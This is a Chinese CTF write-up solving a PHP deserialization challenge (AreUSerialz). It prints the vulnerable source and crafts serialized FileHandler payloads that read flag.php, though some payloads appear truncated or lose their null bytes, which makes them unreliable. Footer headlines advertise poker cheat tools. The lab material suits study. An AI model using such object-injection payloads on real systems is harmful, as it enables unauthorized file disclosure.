[网鼎杯 2020 青龙组]AreUSerialz1
创始人
2024-11-15 10:11:09
0

打开题目

熟悉的php,代码审计

可知这是一题反序列化类型的题目。

按照常规方法,首先,我们先将代码复制到本地进行序列化构造,

根据代码逻辑分析,咱们可知    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

_destruct()析构函数当对象被销毁时会被自动调用;所以当反序列化函数调用时,会触发这个

分析此方法内的代码逻辑,当我们需要它正确输出flag时此魔术方法调用后会接着正确调用此对象中的process()方法和output()方法,所以write()方法也可以删除不用看, protected $content属性也可直接删了。

include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {
        echo "[Result]:
";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
            $this->process();
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

根据构造函数is_valid($s) 可知,

$s的值ASCII码范围得在32<=$s<=125;

再根据构造函数read()可知,

$filename值基本为flag.php

根据上述信息,构造第一个序列化值得到:

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}

php将属性类型换成public

include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    public $op=2;
    public $filename="flag.php";
}
 O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";

相关内容

热门资讯

透视法门!hhpoker哪个俱... 透视法门!hhpoker哪个俱乐部靠谱,hhpoker买挂(透视)都是有脚本app(哔哩哔哩)1、透...
透视技法!pokermaste... 透视技法!pokermaster修改器,菠萝德普辅助器免费版在哪里(透视)确实是有挂(哔哩哔哩)1、...
透视手段!wepokerplu... 透视手段!wepokerplus透视脚本免费,wepoker私人局透视插件(透视)切实真的有透视挂(...
透视演示!wepoker公共底... 透视演示!wepoker公共底牌,hhpoker一直输有挂吗(透视)确实真的是有挂(哔哩哔哩)1.h...
透视妙计!德扑之心免费透视,德... 透视妙计!德扑之心免费透视,德普之星透视辅助(透视)真是是有脚本app(哔哩哔哩)德扑之心免费透视脚...
透视办法!hhpoker德州有... 透视办法!hhpoker德州有挂吗,hhpoker有辅助吗(透视)果然是有挂(哔哩哔哩)hhpoke...
透视学习!德普之星私人局辅助免... 透视学习!德普之星私人局辅助免费,德普软件(透视)都是真的是有透视软件(哔哩哔哩)德普之星私人局辅助...
透视教程书!aapoker怎么... 透视教程书!aapoker怎么设置抽水,佛手在线大菠萝辅助(透视)竟然真的是有挂(哔哩哔哩)1、这是...
透视阶段!hhpkoer辅助挂... 透视阶段!hhpkoer辅助挂是真的吗,hhpoker辅助软件(透视)好像真的是有脚本方法(哔哩哔哩...
透视烘培!wepoker轻量版... 透视烘培!wepoker轻量版有透视吗,佛手在线大菠萝为什么都输(透视)确实有挂(哔哩哔哩)亲,关键...